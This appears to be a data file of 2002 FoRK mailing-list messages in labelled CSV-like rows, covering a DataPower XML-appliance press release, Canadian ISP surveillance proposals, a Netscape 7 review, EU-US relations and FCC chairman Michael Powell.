prepared to support the requirements of this new traffic type. DataPowers XML-acceleration devices enable the wirespeed processing of XML that is required to support next generation enterprise applications,"" said Eugene Kuznetsov, CTO and founder of DataPower Technology. ""DataPower gives companies the ability to use XML thats critical to Web services projects without sacrificing an ounce of performance."" A single DataPower acceleration engine delivers the processing power of 10 serversbreaking the performance bottleneck associated with XML processing and delivering an extraordinary return on investment. In addition, the DataPower platform provides enhanced XML security, protection against XML-based denial-of-service attacks, connection of e-business protocols for incompatible XML data streams, load balancing between back-end servers and real-time statistics reports. ""In the post-bubble economy, technology investment decisions require laser-focused scrutiny. DataPowers patent-pending technology addresses a very real and growing pain point for enterprises,"" said Michael Tyrrell of Venrock Associates. ""By turbo-charging their networks with DataPowers unique XML-Aware networking technology, companies will be free to adopt next generation Web services without encountering performance and security pitfalls."" ""We looked long and hard for a company capable of addressing the rapidly growing problems surrounding XML message processing performance and security,"" said Bill Burnham of Mobius Venture Capital. ""DataPower is on their third generation of technology. Their patent pending XML Generation Three (XG3)technology was quite simply the single most compelling technology solution we have seen to date."" ""XML is not a nice-to-have, it is a must have for enterprises serious about optimizing application efficiency. Since 1999, DataPower has been developing solutions to facilitate enterprise use of XML and Web services,"" said Jeff Fagnan of Seed Capital Partners. ""DataPowers XML-acceleration devices are a key requirement for enterprises that rely on XML for mission critical applications."" About Venrock Associates Venrock Associates was founded as the venture capital arm of the Rockefeller Family and continues a tradition of funding entrepreneurs that now spans over seven decades. Laurance S. Rockefeller pioneered early stage venture financing in the 1930s. With over 300 investments over a span of more than 70 years, the firm has an established a track record of identifying and supporting promising early stage, technology- based enterprises. As one of most experienced venture firms in the United States, Venrock maintains a tradition of collaboration with talented entrepreneurs to establish successful, enduring companies. Venrock's continuing goal is to create long-term value by assisting entrepreneurs in building companies from the formative stages. Their consistent focus on Information Technology and Life Sciences-related opportunities provides a reservoir of knowledge and a network of contacts that have proven to be a catalyst for the growth of developing organizations. Venrock's investments have included CheckPoint Software, USinternetworking, Caliper Technologies, Illumina, Niku, DoubleClick, Media Metrix, 3COM, Intel, and Apple Computer. With offices in New York City, Cambridge, MA, and Menlo Park, CA, Venrock is well positioned to respond to opportunities in any locale. For more information on Venrock Associates, please visit www.venrock.com About Mobius Venture Capital Mobius Venture Capital, formerly SOFTBANK Venture Capital, is a $2.5 billion U.S.-based private equity venture capital firm managed by an unparalleled team of former CEOs and entrepreneurs, technology pioneers, senior executives from major technology corporations, and leaders from the investment banking community. Mobius Venture Capital specializes primarily in early-stage investments in the areas of: communications systems software and services; infrastructure software and services; professional services; enterprise applications; healthcare informatics; consumer and small business applications; components; and emerging technologies. Mobius Venture Capital combines its technology expertise and broad financial assets with the industry's best entrepreneurs to create a powerhouse portfolio of over 100 of the world's leading high technology companies. Mobius Venture Capital can be contacted by visiting their web site www.mobiusvc.com. About Seed Capital Partners Seed Capital Partners is an early-stage venture fund affiliated with SoftBank Corporation, one of the world's leading Internet market forces. Seed Capital manages funds focused primarily on companies addressing Internet-enabled business-to-business digital information technology opportunities, which are located in the Northeastern U.S., the southeastern region of the Province of Ontario, Canada, and Israel. Seed Capitals portfolio includes Spearhead Technologies, Concentric Visions and CompanyDNA. For more information on Seed Capital Partners, please visit www.seedcp.com. About DataPower Technology DataPower Technology provides enterprises with intelligent XML-Aware network infrastructure to ensure unparalleled performance, security and manageability of next-generation protocols. DataPowers patent-pending XML Generation Three (XG3) technology powers the industrys first wirespeed XML network devices, enabling secure, high-speed applications and XML Web Services. Founded in 1999, DataPower is now delivering its third generation of technology, providing immediate return on technology investments to industry-leading customers and partners. DataPower is privately held and based in Cambridge, MA. Investors include Mobius Venture Capital, Seed Capital Partners, and Venrock Associates. CONTACT: DataPower Technology, Inc. Kieran Taylor 617-864-0455 kieran@datapower.com Schwartz Communications John Moran/Heather Chichakly 781-684-0770 datapower@schwartz-pr.com ======================================================================== Steve Kelly, chairman and CEO During over twenty years in the technology industry, Steve Kelly has built and managed global enterprise networks, provided consulting services to Fortune 50 businesses, and been involved in the launch of several start-ups. Prior to DataPower, Kelly was an entrepreneur-in-residence at Venrock Associates, and was co-founder of Castle Networks, where he led the company's sales, service and marketing functions. Castle was acquired by Siemens AG in 1999 to create Unisphere Networks, which was subsequently purchased by Juniper Networks. Kelly was an early contributor at Cascade Communications, where he built and managed the company's core switching business; Cascade's annual revenues grew from $2 million to $300 million annually during Kelly's tenure. Kelly also worked at Digital Equipment Corporation where he managed and grew their corporate network to 50,000+ nodes in 28 countries, the largest in the world at the time. Kelly has a B.S. in Information Systems from Bentley College. Eugene Kuznetsov, founder, president and CTO Eugene Kuznetsov is a technology visionary that has been working to address enterprise XML issues since the late 90s. Kuznetsov founded DataPower Technology, Inc. in 1999 to provide enterprises with an intelligent, XML-aware network infrastructure to support next-generation applications. Prior to starting DataPower, Kuznetsov led the Java JIT Compiler effort for Microsoft Internet Explorer for Macintosh 4.0. He was also part of the team which developed one of the first clean room Java VM's. This high-speed runtime technology was licensed by some of the industry's largest technology companies, including Apple Computer. He has consulted to numerous companies and worked on a variety of hardware and software engineering problems in the areas of memory management, power electronics, optimized execution engines and application integration. Kuznetsov holds a B.S. in electrical engineering from MIT. Steve Willis, vice president of advanced technology Steve Willis is an accomplished entrepreneur and a pioneer in protocol optimization. Prior to joining DataPower, Willis was co-founder and CTO of Argon Networks, a provider of high-performance switching routers that was acquired by Siemens AG in 1999 to create Unisphere Networks; Unisphere was subsequently purchased by Juniper Networks. Before Argon, Steve was vice president of advanced technology at Bay Networks (now Nortel Networks) where he led both IP and ATM-related technology development and managed a group that generated 24 patent applications, developed a 1 Mbps forwarding engine and led the specification of the ATM Forum's PNNI routing protocol. Most notably, Steve was co-founder, original software director and architect for Wellfleet Communications, a leading pioneer of multi-protocol routers. Wellfleet was rated as the fastest growing company in the U.S. for two consecutive years by Fortune magazine. Willis is currently a member of the Institute of Electrical and Electronics Engineers (IEEE) and the Internet Research Task Force (IRTF) Routing Research Group. Willis has a B.D.I.C. in Computer Science from the University of Massachusetts. Bill Tao, vice president of engineering With a vast understanding of network optimization technologies and extensive experience in LAN and WAN networking, Bill Tao brings over 25 years of critical knowledge to lead DataPower's engineering efforts. Prior to DataPower, Tao was the vice president of engineering for Sycamore Networks, developing a family of metro/regional optical network switches. He is also well acquainted with network optimization techniques as he was previously vice president of engineering at InfoLibria, where he led development and software quality assurance engineering for a family of network caching products. Tao has held senior engineering positions at NetEdge, Proteon, Codex and Wang. Tao received a B.S. in Electrical Engineering from the University of Connecticut and an M.S. in Computer Science from the University of Illinois. Kieran Taylor, director of product marketing Kieran Taylor has an accomplished record as a marketing professional, industry analyst and journalist. Prior to joining DataPower, Taylor was the director of product management and marketing for Akamai Technologies (NASDAQ: AKAM). As an early contributor at Akamai, he helped develop the company's initial positioning and led the technical development and go-to-market activities for Akamai's flagship EdgeSuite service. Taylor's early contribution helped position the service provider to secure a $12.6 billion IPO. He has also held senior marketing management positions at Nortel Networks, Inc. and Bay Networks. Taylor was previously an analyst at TeleChoice, Inc. and the Wide Area Networks editor for Data Communications, a McGraw Hill publication. Taylor holds a B.A. in Print Journalism from the Pennsylvania State University School of Communications. ================================================================= Board of Advisors Mark Hoover Mark Hoover is President and co-founder of Acuitive, Inc., a start-up accelerator. With over 20 years experience in the networking industry, Hoover's expertise spans product development, marketing, and business development. Before launching Acuitive, Hoover worked at AT&T Bell Laboratories, AT&T Computer Systems, SynOptics, and Bay Networks, where he played a role in the development of key technologies, such as 10-BASET, routing, FDDI, ATM, Ethernet switching, firewall, Internet traffic management, and edge WAN switch industries. George Kassabgi Currently Vice President of Engineering at BEA Systems, Mr. Kassabgi has held executive-level positions in engineering, sales and marketing, and has spearheaded leading-edge developments in the application server marketplace since 1996. He is widely known for his regular speaking engagements at JavaOne, as well as columns and contributions in JavaPro, Java Developer's Journal and other publications. In addition to being a venerated Java expert, George Kassabgi holds a patent on SmartObject Technology, and authored the technical book Progress V8. Marshall T. Rose Marshall T. Rose runs his own firm, Dover Beach Consulting, Inc. He formerly held the position of the Internet Engineering Task Force (IETF) Area Director for Network Management, one of a dozen individuals who oversaw the Internet's standardization process. Rose is the author of several professional texts on subjects such as Internet Management, Electronic Mail, and Directory Services, which have been published in four languages. He is well known for his implementations of core Internet technologies (such as POP, SMTP, and SNMP) and OSI technologies (such as X.500 and FTAM). Rose received a PhD in Information and Computer Science from the University of California, Irvine, in 1984.",0,0 """Adam L. Beberg"" ",Rohit Khare ,"Tue, 27 Aug 2002 17:22:01 -0700 (PDT)",Re: DataPower announces XML-in-silicon,"On Tue, 27 Aug 2002, Rohit Khare wrote: > DATAPOWER TECHNOLOGY ON Monday unveiled its network device designed > specifically to process XML data. Unlike competing solutions that > process XML data in software, DataPower's device processes the data in > hardware -- a technology achievement that provides greater performance, > according to company officials. Now, to do this, we all know they have to be cracking the strong crypto used on all transaction in order to process them... So this has some preaty heavy implications, unless it's just BS. > Kelly explained that converting data into XML increases the file size up > to 20 times. This, he said, makes processing the data very taxing on > application servers; DataPower believes an inline device is the best > alternative. Or.... you could just not bloat it 20x to begin with. Nah! (that was the whole point of XML afterall, to sell more CPUs - much like Oracle's use of Java allows them to sell 3x more CPU licenses due to the performance hit) > In addition to the large file sizes, security is also of paramount > importance in the world of XML. > > ""Today's firewalls are designed to inspect HTTP traffic only,"" Kelly > said. ""A SOAP packet with XML will go straight through a firewall. > Firewalls are blind to XML today."" Again, see above... they _are_ claiming to decode the crypto... > ""Our XG3 execution core converts XML to machine code,"" said Kelly, Mmmmmmmmmmm, machine code, never a good idea ;) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 Owen Byrne ,fork@spamassassin.taint.org,"Wed, 28 Aug 2002 08:01:15 -0300",Canadians again - something a little more substantive,"Politicians worldwide are discovering the internet - what a great tool for fascism, once you got the laws in place to solve that whole 'anonymity' thing. Also I notice this story shows the truth - the Canadian government is really located in Washington, DC, Ottawa is just a branch office. Come to think of it, the last story I posted about Canada featured the head of its military, 'speaking to us from military HQ in Palm Beach, Florida.' Owen ---------------------------------------------------------------------------------------------------------------------------- . *Will Canada's ISPs become spies?* By Declan McCullagh Staff Writer, CNET News.com August 27, 2002, 12:56 PM PT http://news.com.com/2100-1023-955595.html *WASHINGTON--The Canadian government is considering a proposal that would force Internet providers to rewire their networks for easy surveillance by police and spy agencies.* A discussion draft released Sunday also contemplates creating a national database of every Canadian with an Internet account, a plan that could sharply curtail the right to be anonymous online. The Canadian government, including the Department of Justice and Industry Canada , wrote the 21-page blueprint as a near-final step in a process that seeks to give law enforcement agents more authority to conduct electronic surveillance. A proposed law based on the discussion draft is expected to be introduced in Parliament late this year or in early 2003. Arguing that more and more communications take place in electronic form, Canadian officials say such laws are necessary to fight terrorism and combat even run-of-the-mill crimes. They also claim that by enacting these proposals, Canada will be following its obligations under the Council of Europe's cybercrime treaty , which the country is in the process of considering. If the discussion draft were to become law, it would outlaw the possession of computer viruses, authorize police to order Internet providers to retain logs of all Web browsing for up to six months, and permit police to obtain a search warrant allowing them to find ""hidden electronic and digital devices"" that a suspect might be concealing. In most circumstances, a court order would be required for government agents to conduct Internet monitoring. Canada and the United States are nonvoting members of the Council of Europe, and representatives from both countries' police agencies have endorsed the controversial cybercrime treaty , which has drawn protests from human rights activists and civil liberties groups. Of nearly 50 participating nations, only Albania has formally adopted , or ratified, the treaty. Michael Geist , a professor at the University of Ottawa who specializes in e-commerce law, says that the justification for adopting such sweeping changes to Canadian law seems weak. ""It seems to me that the main justification they've given for all the changes is that we want to ratify the cybercrime treaty and we need to make changes,"" Geist said. ""To me that's not a particularly convincing argument. If there are new powers needed for law enforcement authority, make that case."" Geist added that ""there's nothing in the document that indicates (new powers) are needed. I don't know that there have been a significant number of cases where police have run into problems."" Probably the most sweeping change the legal blueprint contemplates is compelling Internet providers and telephone companies to reconfigure their networks to facilitate government eavesdropping and data-retention orders. The United States has a similar requirement, called the Communications Assistance for Law Enforcement Act , but it applies only to pre-Internet telecommunications companies. ""It is proposed that all service providers (wireless, wireline and Internet) be required to ensure that their systems have the technical capability to provide lawful access to law enforcement and national security agencies,"" according to the proposal. Companies would be responsible for paying the costs of buying new equipment. Sarah Andrews, an analyst at the Electronic Privacy Information Center (EPIC) who specializes in international law, says the proposal goes beyond what the cybercrime treaty specifies. ""Their proposal for intercept capability talks about all service providers, not just Internet providers,"" Andrews said. ""The cybercrime treaty deals only with computer data."" EPIC opposes the cybercrime treaty, saying it grants too much power to police and does not adequately respect privacy rights. Another section of the proposal says the Canadian Association of Chiefs of Police recommends ""the establishment of a national database"" with personal information about all Canadian Internet users. ""The implementation of such a database would presuppose that service providers are compelled to provide accurate and current information,"" the draft says. Gus Hosein, a visiting fellow at the London School of Economics and an activist with Privacy International, calls the database ""a dumb idea."" ""Immediately you have to wonder if you're allowed to use anonymous mobile phones or whether you're allowed to connect to the Internet anonymously,"" Hosein said. A representative for George Radwanski , Canada's privacy commissioner, said the office is reviewing the blueprint and does not ""have any comments on the paper as it stands."" Comments on the proposal can be sent to la-al@justice.gc.ca no later than Nov. 15.",0,1 Dave Long ,fork@spamassassin.taint.org,"Tue, 08 Oct 2002 11:53:52 -0700",Re: erratum [Re: no matter ...] & errors,"> I'm not sure what you mean by ""let's you and him fight"", but it is > important to remember that England was in control of Ireland > for 300 years ... Exactly -- ""let's you and him fight"" is a way of dealing with troublesome populations by moving them next to one another, so they give each other, and not the Man, grief*. So by my understanding (and, you all will understand, with tongue firmly in cheek): Ireland: Irish? Uppity barbarians overly fond of ""risings"". Scots? More uppity barbarians overly fond of ""risings"". Why not plonk down a bunch of the latter next to the former and kill two birds with one stone? Israel: Ex-ottomans? Uppity barbarians (didn't they help kick out the Ottomans?) Zionists? Uppity sorts who aren't happy with perfectly good land in Uganda. Why not plonk down a bunch of the latter next to the former and kill two birds with one stone? but not: India: in which the muslims and hindus were originally intermixed to some degree, but Partioned due to their own conflict, not due to English resettlement policy. Canada: in which the french and english were already established, and it was just the balance of power on the continent that determined events in the colonies. The Acadians got resettled, but they don't seem to have been that good for picking fights with their neighbors, so no one had them plonked down next door. -Dave * this works best with a populace who, given ""one man, one vote"", immediately deduce ""one less man, one less vote"" -- eh, Magnan?",0,0 Gregory Alan Bolcer ,FoRK ,"Wed, 09 Oct 2002 10:27:59 -0700",Netscape 7 Review,"This is my Netscape 7.0 Review. o They finally got the email search speed back up to where it was in 4.7.x o Setting up user mail accounts doesn't have that really odd, sometimes it lets me sometimes it doesn't problem that previous versions had. o I still have to manually update all my address books by hand but at least it lets me import them as Netscape 4.x address books (there's not 6.x import as they just assume it works--which it doesn't) o The mail filters are still broken and have the same problem that I've tried to report since 4.0.2 where you can't store a mail filter of the type: Age in days, is greater than, 21 (or some number) Gawd I'd really wish they'd fix that freakin' bug, it's the single biggest annoyance that I have with Netscape as it's one of the most effective anti-spam tools that I have. o Webex doesn't support Netscape 7.0 and the plugin doesn't work which causes problems when you want to use Webex to work on something with someone remotely. I've given up trying to report bugs and any changes to the source I send always get lost. Greg -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 gbolcer at endeavors.com | http://endeavors.com Endeavors Technology, Inc.| cell: +1.714.928.5476",0,1 James Rogers ,fork@spamassassin.taint.org,09 Oct 2002 12:58:04 -0700,RE: The Disappearing Alliance,"On Wed, 2002-10-09 at 06:48, Frank Bergmann wrote: > > A more reasonable explication of the EU - US differences (according > to some American journalist cited in a German magazine, can someone > help me?) is that the American public perceives the rest of the world > basically as a thread, against which you have to defend yourself using > power. This is not a correct assessment. The American public couldn't care less. However, the US intelligence community correctly perceives a threat, and it isn't the third-world. Many European and other developed nations aggressively engage in covert operations against American interests. Its been going on for years and isn't even news. Things have stepped up in recent years and the US DoD is none too pleased. For better or worse, the US is relatively good at that game too. As with most backwater wars, they are proxies for the interests of the big players. Find a current list of the top intelligence threats to the US. You'll find that half the countries on that list are European. Most people are unaware of how aggressive these things have gotten in recent years. > On the other hand the Europeans are used to the peace of their cozy > post-war system where external security is not an issue. All security > threads can be resolved by giving money to the threatening people > and to integrate them into the wealthy sphere (Balkan, Palestinians, > ...) Bullshit. The European governments ruthlessly suppress real opposition, obviously some more than others. US SpecOps are often brought in to do dirty work inside Europe for European governments (usually with government ""advisors"" along for the mission). I've always wondered what the deal was such that we got involved at all. The point being that we've acted as assassins for European governments inside their borders against their own citizens under the auspices of those governments, and in recent years, not ancient history. I know SpecOp guys who left the military specifically because of the circumstances of some of these missions while they were posted for that duty. I'm certainly glad I was never assigned missions in that theater, because there is a lot of covert nastiness going on in nominally friendly European democracies. Regardless, giving money to people that threaten you has never created meaningful peace in the history of civilization. We call it extortion under any other guise. > A lot of the current EU - US issues can be explained by this difference > of perception, such as the current American unilateralism (nobody wants > to help us!), the American arrogance towards Europe (they don't want to > do anything, so why should we ask them?) and the growing rejection of the > American policy in Europe (they want to abolish the law!). Europe is looking increasingly like a basket case. Whatever problems the US is having these days, Europe looks worse and is going downhill faster. Why the US would want to emulate European behavior or the European way of doing things is beyond me. The US asking for major policy advice from Europe is like asking a quack for medical advice. I really don't see what is wrong with ""unilateral"" anyway. Why should anyone join a stampede that is heading for a cliff? I hope the incessant knee-jerk conformist screeching that Americans see coming from Europe doesn't actually represent the views of Europeans. For various reasons I'm not exactly a cheerleader for the US government, but the premises of the argument against them here are lame. > My personal point is that few Americans (percentage of overall population) > have ever left their country, while even German construction workers > regularly spend their holidays in Spain. So I'm not surprised that > paranoia is growing. I'm betting you are underestimating the actual percentage. The vast majority of people I know have lived, worked, and traveled outside the country at one time or another. And I doubt Europeans have traveled anywhere near as much in the Western hemisphere as Americans have. Despite the best efforts of France, Europe is *still* not the center of the universe. I'll throw you a bone though: most Americans do consider Europe to be drifting into irrelevancy and therefore ignore it. But from the perspective of an American, how could you NOT look at it this way? The impact of Europe on America has diminished greatly over the years. I love the smell of Euro-chauvinism in the morning. First, you assume that the North American continent is ethnically and culturally homogenous. Anybody that has actually traveled throughout North America knows this isn't true; there are more than five major and very distinct cultures and societies in the US alone, never mind the hundreds of diverse regional sub-populations, some of which are truly foreign. Apparently Europeans confuse speaking the same language with having the same culture. That would be like saying Mexico is culturally identical to Spain because they nominally speak the same language. A Wyoming rancher has almost nothing in common culturally or socially with your average person living in San Francisco, despite speaking the same language and nominally living in the same country. If I want to visit a wildly different culture for the holidays, I'll go to Oakland, New Orleans, or similar -- they are far more different from where I live than some countries I've traveled to. And a lot of these places are farther from where I live than Spain is from Germany. Second, the State I live in is the size of Germany. When I travel to a neighboring State (which I do regularly), how is this not equivalent? In fact, I probably travel much farther for the holidays than your German construction workers. If you look at the EU as a single country, only then does your analogy become comparable. What kind of ridiculous superiority do Europeans get from having (relatively) tiny countries? In truth, I find Europe to be about as culturally homogeneous as the US. There are a lot of cultural similarities across the EU with relatively minor local deviations that vary with distance in ways very similar to the US. The only real difference is that Europeans have dozens of different languages, which is hardly something I would call an advantage. Although there are a couple parts of the US where I can't understand a word they are saying either. -James Rogers jamesr@best.com",0,0 Gregory Alan Bolcer ,Rohit Khare ,"Wed, 09 Oct 2002 18:49:59 -0700",Re: Lord of the Ringtones: Arbocks vs. Seelecks,"I got to see Powell talk in March 2001 at the beginning of his reign at the FCC. He said they were going to take a real hands off approach, so it's funny that they would blame the regulators for causing the collapse. One thing he did get right, is that he wasn't worried that the US was behind Europe in the wireless licensing spectrum. This is something very prescient in that most of those licensors have had to eat their lunch over the huge licensing costs they paid for very little benefit. His legacy was/is supposed to be rethinking the FCC's role to stay out of the way in this period of business innovation in the wireless space as he didn't want the government forcing business models onto the private sector. His full transcript is here [1]. Interestingly enough I got to see his speech in person as he was part of the whole CTIA'2001 Las Vegas keynote series of speakers. Clay and I hoped a flight out of Ontario to Las Vegas to do demo support for Craig Barrett [2]. His message was that there's no difference between wired and wireless Internet--it's all the same thing. Instead of scalable networks, we should be thinking about scalable content (& using Magi he showed sending a blue man tv commercial from a desktop to a laptop to an ipaq to a color smartphone with the content scaling back for each target platform). The best part of the whole trip wasn't hobnobbing at all, but really the fact that the Venetian had ran out of rooms. They decided to put us up in one of their $10,000/night high roller rooms. They put Clay in one and me in another. The Venetian is known for having the largest hotel rooms anywhere, but these ones were bigger than my whole house. 8-) Greg [1] http://www.fcc.gov/Speeches/Powell/2001/spmkp101.html [2] http://www.intel.com/pressroom/archive/speeches/cb20010320.htm Rohit Khare wrote: > I can't believe I actually read a laugh-out-loud funny profile of the > *FCC Commissioner* fer crissakes! So the following article comes > recommended, a fine explanation of Michael Powell's extraordinary > equivocation. > > On the other hand, I can also agree with Werbach's Werblog entry... Rohit > >> A Trip to F.C.C. World >> >> Nicholas Lemann has a piece in the New Yorker this week about FCC >> Chairman Michael Powell. It's one of the first articles I've seen >> that captures some of Powell's real personality, and the way he's >> viewed in Washington. Unfortunately, Lemann ends by endorsing >> conventional political wisdom. After describing how Powell isn't >> really a fire-breathing ideological conservative, he concludes that, >> in essence, Powell favors the inumbent local Bell telephone companies, >> while a Democratic FCC would favor new entrants. I know that's not >> how Powell sees the world, and though I disagree with him on many >> issues, I think he's right to resist the old dichotomy. >> >> The telecom collapse should be a humbling experience for anyone who >> went through it. The disaster wasn't the regulators' fault, as some >> conservatives argue. But something clearly went horribly wrong, and >> policy-makers should learn from that experience. Contrary to Lemann's >> speculation, the upstart carriers won't be successful in a Gore >> administration, because it's too late. Virtually all of them are >> dead, and Wall Street has turned off the capital tap for the >> foreseeable future. Some may survive, but as small players rather >> than world-dominators. >> >> The battle between CLECs and RBOCs that Lemann so astutely parodies is >> old news. The next important battle in telecom will be between those >> who want to stay within the traditional boxes, and those who use >> different models entirely. That's why open broadband networks and >> open spectrum are so important. Whatever the regulatory environment, >> there is going to be consolidation in telecom. Those left out in that >> consolidation will face increasing pressure to create new pipes into >> the home, or slowly die. The victors in the consolidation game will >> cut back on innovation and raise prices, which will create further >> pressure for alternatives. >> >> Lemann is right that policy-making looks much drier and more ambiguous >> on the ground than through the lens of history. But he's wrong in >> thinking that telecom's future will be something like its past. >> >> Friday, October 04, 2002 >> 11:17:11 AM comments {0} > > > ============================================================== > http://www.newyorker.com/printable/?fact/021007fa_fact > > THE CHAIRMAN > by NICHOLAS LEMANN > He's the other Powell, and no one is sure what he's up to. > New Yorker, October 8, 2002 > > Last year, my middle son, in eighth grade and encountering his first > fairly serious American-history course, indignantly reported that the > whole subject was incomprehensible. I was shocked. What about Gettysburg > and the Declaration of Independence and the Selma-to-Montgomery march? > Just look at my textbook, he said, and when I did I saw his point. His > class had got up to the eighteen-forties. What I expected was a big > beefing up of the roles of Sacagawea and Crispus Attucks, and, in-deed, > there was some of that. But the main difference between my son's text > and that of my own childhood was that somebody had made the disastrous > decision to devote most of it to what had actually happened in American > history. There were pages and pages on tariffs and bank charters and > reciprocal trade agreements. I skipped ahead, past the Civil War, hoping > for easier going, only to encounter currency floats and the regulation > of freight rates. Only a few decades into the twentieth century did it > become possible to see the federal government's main function as > responding to dramatic crises and launching crusades for social justice, > instead of attempting to referee competing claims from economic interests. > > Even now, if one were to reveal what really goes on behind the pretty > speeches and the sanctimonious hearings in Washington, what you'd find > is thousands of lawyers and lobbyists madly vying for advantage, not so > much over the public as over each other: agribusiness versus real > estate, banks versus insurance companies, and so on. The arena in which > this competition mainly takes place is regulatory agencies and > commissions and the congressional committees that supervise them. It's > an insider's game, less because the players are secretive than because > the public and the pressencouraged by the players, who speak in jargon > can't get themselves interested. > > One corner of Washington might be called F.C.C. World, for the Federal > Communications Commission. F.C.C. World has perhaps five thousand > denizens. They work at the commission itself, at the House and Senate > commerce committees, and at the Washington offices of the companies that > the commission regulates. They read Communications Daily (subscription > price: $3,695 a year), and every year around Christmastime they > grumblingly attend the Chairman's Dinner, at a Washington hotel, where > the high point of the evening is a scripted, supposedly self-deprecating > comedy routine by the commission's chairman. > > Of all the federal agencies and commissions, the F.C.C. is the one that > Americans ought to be most interested in; after all, it is involved with > a business sector that accounts for about fifteen per cent of the > American economy, as well as important aspects of daily lifetelephone > and television and radio and newspapers and the Internet. And right now > F.C.C. World is in, if not a crisis, at least a very soapy lather, > because a good portion of what the angry public thinks of as the > ""corporate scandals"" concerns the economic collapse of companies > regulated by the F.C.C. Qwest, WorldCom, Adelphia, and Global Crossing, > among others, are (or were) part of F.C.C. World. AOL Time Warner is > part of F.C.C. World. Jack Grubman, the former Salomon Smith Barney > analyst who seems to have succeeded Kenneth Lay, of Enron, as the > embodiment of the corporate scandals, is part of F.C.C. World. In the > past two years, companies belonging to F.C.C. World have lost trillions > of dollars in stock-market valuation, and have collectively served as a > dead weight pulling down the entire stock market. > > This year, an alarmed and acerbic anonymous memorandum about the state > of the F.C.C. has been circulating widely within F.C.C. World. It evokes > F.C.C. World's feverish mood (""The F.C.C. is fiddling while Rome burns"") > and suggests why nobody besides residents of F.C.C. World has thought of > the commission in connection with the corporate scandals. The sentence I > just quoted is followed by this explanation: ""The ILECs appear likely to > enter all l.d. markets within twelve months, while losing virtually no > residential customers to attackers since 1996, and suffering about 10% > market share loss in business lines to CLECs."" It's a lot easier to > think about evil C.E.O.s than to decipher that. > > > Even in good times, F.C.C. World pays obsessive attention to the > commission's chairman. In bad times, the attention becomes especially > intense; and when the chairman is a celebrity F.C.C. World devotes > itself to full-time chairman-watching. The current chairman, Michael > Powell, is a celebrity, at least by government-official standards, > because he is the only son of Colin Powell, the Secretary of State. > Unlike his father, he has a kind of mesmerizing ambiguity, which > generates enormous, and at times apoplectically toned, speculation about > who he really is and what he's really up to. Powell is young to be the > head of a federal agencyhe is thirty-nineand genially charming. > Everybody likes him. Before becoming chairman, he was for three years > one of the F.C.C.'s five commissioners; not only is he fluent in the > F.C.C.'s incomprehensible patois, he has a Clintonesque love of the > arcane details of communications policy. He's always saying that he's an > ""avid moderate."" And yet he has a rage-inciting quality. One of his > predecessors as chairman, Reed Hundt, quoted in Forbes, compared Powell > to Herbert Hoover. Mark Cooper, of the Consumer Federation of America, > calls him ""radical and extreme."" Just as often as he's accused of being > a right-wing ideologue, Powell gets accused of being paralytically > cautious. ""It ain't about singing 'Kum-Ba-Yah' around the campfire,"" > another former chairman, William Kennard, says. ""You have to have an > answer."" One day last spring, Powell, testifying before a Senate > subcommittee, delivered an anodyne opening statement, and the > subcommittee's chairman, Ernest Hollings, of South Carolina, berated > him. ""You don't care about these regulations,"" Hollings said. ""You don't > care about the law or what Congress sets down. . . . That's the > fundamental. That's the misgiving I have of your administration over > there. It just is amazing to me. You just pell-mell down the road and > seem to not care at all. I think you'd be a wonderful executive > vice-president of a chamber of commerce, but not a chairman of a > regulatory commission at the government level. Are you happy in your job?"" > > ""Extremely,"" Powell said, with an amiable smile. > > > One cannot understand Powell's maddening effect, at least on Democrats > and liberal activists, without understanding not just the stated purpose > of the commission he chairs but also its real purpose. The F.C.C. was > created by Congress in 1934, but it existed in prototype well before the > New Deal, because it performs a function that is one of the classic easy > cases for government intervention in the private economy: making sure > that broadcasters stick to their assigned spots on the airwaves. Its > other original function was preventing American Telephone & Telegraph, > the national monopoly phone company, from treating its customers > unfairly. Over the decades, as F.C.C. World grew up into a comfortable, > well-established place, the F.C.C. segued into the role of industrial > supervisionits real purpose. It was supposed to manage the competition > among communications companies so that it didn't become too bloody, by > artfully deciding who would be allowed to enter what line of business. > In addition to looking out for the public's interest, the commission > more specifically protected the interests of members of Congress, many > of whom regard the media companies in their districts as the single most > terrifying category of interest groupyou can cross the local bank > president and live to tell the tale, but not the local broadcaster. > According to an oft-told F.C.C. World anecdote, President Clinton once > blocked an attempt to allow television stations to buy daily newspapers > in the same city because, he said, if the so-and-so who owned the > anti-Clinton Little Rock Democrat-Gazette had owned the leading TV > station in Little Rock, too, Clinton would never have become President. > > > F.C.C. World may have been con tentious, but it was settled, too, > because all the reasonably powerful players had created secure economic > niches for themselves. Then, in the nineteen-eighties, the successful > breakup of A.T. & T.by far the biggest and most important company the > commission regulateddeposited a thick additional sediment of > self-confidence onto the consciousness of F.C.C. World. A generation > ago, for most Americans, there was one local phone company, one > long-distance company, and one company that manufactured telephones, > which customers were not permitted to ownand they were all the same > company. It was illegal to plug any device into a phone line. By the > mid-nineteen-nineties, there were a dozen economically viable local > phone companies, a handful of national long-distance companies competing > to offer customers the lowest price and best service, and stores > everywhere selling telephone equipment from many manufacturersand > millions of Americans had a fax machine and a modem operating over the > telephone lines. A.T. & T. had argued for years that it was a ""natural > monopoly,"" requiring protection from economic competition and total > control over its lines. So much for that argument. Over the same period, > the F.C.C. had assisted in the birth of cable television and cell phones > and the Internet. It was the dream of federal-agency success come true: > consumers vastly better served, and the industry much bigger and more > prosperous, too. > > The next big step was supposed to be the Telecommunications Act of 1996, > one of those massive, endlessly lobbied-over pieces of legislation which > most people outside F.C.C. World probably felt it was safe to ignore. > Although the Telecom Act sailed under the rhetorical banner of > modernization and deregulation, its essence was a grand interest-group > bargain, in which the local phone companies, known to headline writers > as ""baby Bells"" and to F.C.C. World as ""arbocks"" (the pronounced version > of RBOCs, or regional Bell operating companies), would be permitted to > offer long-distance service in exchange for letting the long-distance > companies and smaller new phone companies use their lines to compete for > customers. Consumers would win, because for the first time they would > get the benefits of competition in local service while getting even more > competition than they already had in long distance. But the politics and > economics of the Telecom Act (which was shepherded through Congress by > Vice-President Gore) were just as important. Democrats saw the act as > helping to reposition them as the technology partythe party that > brought the Internet into every home, created hundreds of thousands of > jobs in new companies, and, not least, set off an investment boom whose > beneficiaries might become the party's new contributor base. Clinton's > slogans about the ""information superhighway"" and ""building a bridge to > the twenty-first century,"" which, like all Clinton slogans, artfully > sent different messages to different constituencies, were the rhetorical > correlates of the Telecom Act, and Gore's cruise to the Presidency was > supposed to be powered substantially by the act's success. > > The F.C.C. had a crucial role in all this. The arbocks are rich, > aggressive, politically powerful, and generally Republican 